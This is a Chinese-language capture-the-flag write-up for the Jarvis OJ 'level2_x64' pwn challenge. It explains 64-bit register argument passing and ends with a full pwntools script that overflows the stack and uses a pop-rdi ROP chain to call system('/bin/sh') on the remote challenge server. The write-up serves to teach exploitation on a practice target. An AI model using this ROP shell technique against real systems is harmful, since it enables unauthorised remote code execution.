题目信息
nc pwn2.jarvisoj.com 9882
level2_x64.04d700633c6dc26afc6a1e7e9df8c94e
64位elf,只开了NX
静态分析
IDA F5,明显溢出
其他地方和level2没什么区别,只是64位和32位栈的区别
在32位程序运行中,函数参数直接压入栈中
- 调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
在64位程序运行中,参数传递需要寄存器
64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
参数超过六个时,从第七个开始压入栈中
exploit
所以我们将”/bin/sh”作为system函数参数的话需要一个pop rdi的gadget,直接使用ROPGadget查找
之后构造exp即可
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import *
elf = ELF('./level2_x64')
sh = remote('pwn2.jarvisoj.com', 9882)
context.arch = 'i386'
system_addr = elf.symbols["system"] bin_sh_addr = elf.search("/bin/sh").next() pop_rdi_ret = 0x00000000004006b3
payload = 'A' * 0x88 payload += p64(pop_rdi_ret) payload += p64(bin_sh_addr) payload += p64(system_addr)
sh.sendline(payload) sh.interactive()
|
getflag
Last updated:
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会